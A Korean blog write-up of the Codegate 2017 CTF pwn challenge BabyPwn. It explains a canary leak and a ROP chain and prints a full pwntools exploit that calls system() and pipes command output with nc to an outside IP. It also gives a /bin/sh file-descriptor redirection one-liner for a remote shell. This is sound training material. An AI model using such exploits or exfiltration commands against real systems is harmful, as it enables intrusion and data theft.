2017. 2. 18. 23:22

## Codegate CTF_2017(BabyPwn, pwn)


[Summary]

1. Stack Overflow & Stack Canary => Canary Leak(memory leak) & ROP

2. 서버 쉘 획득 가능, 리다이렉션 필요 => nc 사용 또는 "/bin/sh -i <&4 >&4 2>&4"명령으로 클라이언트에서 쉘 획득


[Analysis] 

  BabyPwn 문제는 [그림 1]과 같이 32bit 바이너리로 보호기법은 Stack Canary와 NX가 걸려있는 것을 확인할 

수 있다. 실행시키면 마찬가지로 [그림 1]과 같이 3가지의 단순한 메뉴를 가지고 있는 프로그램이다. 1번째 메뉴는 

echo 기능을 하는데 입력 값을 받아 그대로 에코해주는 기능이며 2번째 메뉴는 reverse echo 기능 즉 입력받은 값을 

거꾸로 출력해주는 기능이다. 마지막 3번째 메뉴는 Exit 메뉴로 프로그램을 종료하는 메뉴이다.


[그림 1] babypwn 문제 보호 기법과 실행 화면


이 프로그램에서 echo 기능을 가진 부분을 IDA를 통해 분석해보면 [그림 2]와 같이 간단한 스택 버퍼오버플로우 취약점이 있는

것을 확인할 수 있다. 따라서 이 취약점을 이용하여 Exploit을 할 것인데 첫 번째 문제가 발생한다. 버퍼오버플로우 취약점은

있으나 Stack Canary가 있기 때문에 이 Canary값을 릭하여 알아내야 한다.


[그림 2] 스택 버퍼오버플로우 취약점


위 [그림 2]와 같이 v2변수는 ebp기준 -0x34위치인데 sub_8048907에서 사용자로부터 입력을 받지만

2번째 인자(0x64)만큼 사용자 입력을 받기 때문에 ret를 덮어씌울 수 있다. 하지만 위에서 말했듯이 Stack Canary가

걸려 있기 때문에 이 Canary를 릭하여 문제를 풀어야 하는데 우선 Canary가 있는 위치는 아래 [그림 3]과 같이

ebp기준 -0xc에 위치하게 된다. 그리고 참고로 이 문제같은 경우 아래 [그림 3]에서 보듯이 문제 자체가 서버

프로그램이고 fork()함수를 이용하여 사용자 클라이언트를 처리하기 때문에 Canary의 값이 매번 같아 한번만 Canary를

릭하면 이후 계속 그 Canary를 사용할 수 있다.


[그림 3] Stack Canary 위치 & fork() 함수


이제 Stack Canary의 위치와 fork()의 특성상 Canary가 바뀌지 않는다는 것을 알았고, 이 Canary의 값을 릭하여야

하는데 릭은 스택 버퍼오버플로우 취약점이 존재하는 1번 echo 메뉴를 통해 할 수 있다. 1번 echo 메뉴는 [그림 4]와

같이 send()함수를 이용하여 사용자가 입력한 문자열을 클라이언트에 출력해주는데 Stack Canary 바로 직전까지

문자열을 입력하고 strlen() 함수로 문자열의 길이를 체크한 후 send()함수의 인자로 출력할 바이트를 넣게 되는데

strlen()함수는 문자열의 끝(0x00)이라고 인식되는 부분까지의 길이를 반환해주기 때문에 사용자가 Stack Canary의

바로 직전까지 입력을 하면 뒤에 이어오는 Canary값도 strlen()에 의해 포함되기 때문에 Canary의 값을 릭할 수 있게 된다.


[그림 4] echo 기능 디컴파일 소스


이러한 점을 모두두 종합하면 아래 [그림 5]와 같은 스택 상황을 만들어 Canary 릭을 할 수 있다.


[그림 5] 스택 상황 & 스택 Canary 릭(같은 Canary 확인)


여기 까지 완료하고 첫 번째 문제는 끝났다. 이제 단순 스택 버퍼오버플로우기 때문에 RET만 system함수로 바꿔주고

인자 값을 원하는 command로 넣어주기만 하면 exploit은 끝나게 된다. 이 문제에서 2번째 문제는 system("/bin/sh")를

이용하여 쉘을 따려고 하면 서버에서 따지기 때문에 의미가 없다. stdin과 stdout을 dup2()함수를 이용하여 연결해주면

리모트로 쉘을 딸 수는 있지만 해당 바이너리에 dup2()함수가 존재하지 않기 때문에 rop를 하려면

libc를 릭하여 찾아야 한다.


따라서 이 문제를 해결하기 위해서 "command | nc my-IP my-port"명령을 이용하여 미리 열어둔 tcp포트에

command의 결과를 전송하도록 exploit을 하였다. 이렇게 원하는 명령을 system()함수의 인자로 넣는 rop로 하여야

하는데 이 때 command가 바이너리에 그대로 박혀있는 것이 아니기 때문에 주소 값을 모른다. 따라서 recv()함수로

rop를 하여 아래 [그림 6]과 같이 data영역(0x804b080)에 원하는 command를 쓰고 system()함수의 인자 값으로

넣는 방법을 사용하였다.


[그림 6] 최종 페이로드 & system("cat flag | nc x.x.x.x 4444")


 이제 다 끝났고 해당 페이로드대로 코드를 구성하여 exploit코드를 짜면 아래 [그림 7]과 같이 exploit 코드가 정상 

동작하여 미리 nc로 열어둔 포트로 명령어의 결과가 전송되어 플래그를 확인할 수 있다. 추가적으로 이렇게 nc를 

이용하는 방법외에 "/bin/sh -i <&4 >&4 2>&4"명령을 이용하여 파일 디스크립터의 리다이렉션을 잘 활용하여 

쉘을 딸 수도 있다.


[Exploit Code] - babypwn_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import hexdump
 
context(arch='i386',os='linux')
#local=True
local=False
 
if local:
    p = remote("127.0.0.1"8888)
else:
    p = remote("110.10.212.130"8888)
 
#binary = ELF("./babypwn_patched")
 
raw_input()
 
############## Canary & Gadget ###############
#stack_canary = 0xd989c800    #local
stack_canary = 0x338d2200    #remote
#ebp_leak = 0xffe83f88        #local
ebp_leak = 0xffe77fc8        #remote
 
system_plt = 0x8048620
send_plt = 0x8048700
recv_plt = 0x80486e0
fd = 0x4
pop4_ret = 0x8048eec
################################################
 
def select_menu(menu_num):
    print p.recvuntil("Select menu > ")
    p.send(menu_num)
 
def echo(msg):
    select_menu('1\n')
    print p.recvuntil("Input Your Message : ")
    p.send(msg)
 
def reverse_echo(msg):
    select_menu('2\n')
    print p.recvuntil("Input Your Message : ")
    p.send(msg)
 
def exit():
    select_menu('3\n')
 
if __name__ == '__main__':
    ############## stage1 payload #############
    #   memory leaking(Stack Canary & EBP)    #
    ###########################################
    '''
    canary_leak_payload = "A"*40
    echo(canary_leak_payload+'\n'); print p.recv(40)
    print "[+] stack canary leak : " + hex(u32(p.recv(4)))
    exit();
    p.interactive()
    ebp_leak_payload = "A"*52
    echo(ebp_leak_payload); print p.recv(52)
    print "[+] Stack EBP leak : " + hex(u32(p.recv(4)))
    exit();
    p.interactive()
    # Arbitrary Memory Leak    for "/bin/sh"'s addr
    arbitrary_leak_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12
    arbitrary_leak_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(ebp_leak-0x174+ p32(0x64+ p32(0x0)
    echo(arbitrary_leak_payload); exit()
    hexdump.hexdump(p.recv(1024))
    '''
    ########## stage2 payload ##########
    #     Make system("Command");      #
    #         EXPLOIT SUCCESS          #
    ####################################
    #binsh_addr = ebp_leak-0x174
    print "[+] Stack canary leak : " + hex(stack_canary)
    #print "[+] Stack EBP leak : " + hex(ebp_leak)
    #print "[+] Stack '/bin/sh' addr : " + hex(binsh_addr)
    
    # Write command(system()'s arg) to .data area
    final_payload = "/bin/sh\x00" + "A"*32 + p32(stack_canary) + "A"*12
    final_payload += p32(recv_plt) + p32(pop4_ret) + p32(fd) + p32(0x804b080+ p32(0x100+ p32(0x0)
    final_payload += p32(system_plt) + p32(int3) + p32(0x804b080)
    #final_payload += p32(send_plt) + "AAAA" + p32(fd) + p32(0x804b080) + p32(0x100) + p32(0x0)
    print '[+] len : ' + str(hex(len(final_payload)))
    echo(final_payload); exit()
    
    #p.send('id | nc 52.39.163.139 6978\x00')
    #p.send('ls -al | nc 52.39.163.139 6978\x00')
    p.send('cat flag | nc 52.39.163.139 6978\x00')
    
    p.interactive()
 
cs



[Get Shell & Flag~~!!!!]

[그림 7] 명령어 결과 확인 & Flag("Good_Job~!Y0u_@re_Very__G@@d!!!!!!^.^")


끝~!



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] RamG-thunder(reversing)  (2) 2017.02.19
[Codegate CTF_2017] messenger(pwn)  (8) 2017.02.18
[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
Posted by holinder4S